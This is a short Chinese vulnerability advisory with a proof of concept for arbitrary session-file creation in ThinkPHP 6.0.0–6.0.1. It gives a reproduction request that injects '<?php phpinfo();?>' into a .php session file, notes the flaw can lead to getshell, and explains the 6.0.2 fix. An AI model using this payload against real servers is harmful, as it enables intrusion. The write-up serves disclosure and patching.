thinkphp6 session 任意文件创建漏洞POC
- 发表于
- Vulndb
2020年1月13号,Thinkphp 6.0.2发布,在详情页指出修复了一处Session安全隐患
。经分析,该漏洞允许攻击者在目标环境启用session的条件下创建任意文件以及删除任意文件,在特定情况下还可以getshell。
具体受影响版本为ThinkPHP6.0.0-6.0.1。
漏洞复现
在index控制器中添加如下action
public function testsession2(){
$username = Request::get('name');
Session::set('username', $username);
return 'hi';
}
用于获取name参数,并将之设置到session中。
访问url:http://127.0.0.1/tp6/public/index.php/index/testsession2?name=<?php%20phpinfo();?>

访问session文件,一般位于项目根目录下的./runtime/session/
文件夹下,也就是/runtime/session/sess_1234567890123456789012345678.php

修复方法
在6.0.2中,对session id使用了ctype_alnum()
进行了判断,导致无法传递.
等特殊字符,从而无法控制session文件为.php
后缀。所以直接更新thinkphp6版本即可。
原文连接:thinkphp6 session 任意文件创建漏洞POC
所有媒体,可在保留署名、
原文连接
的情况下转载,若非则不得使用我方内容。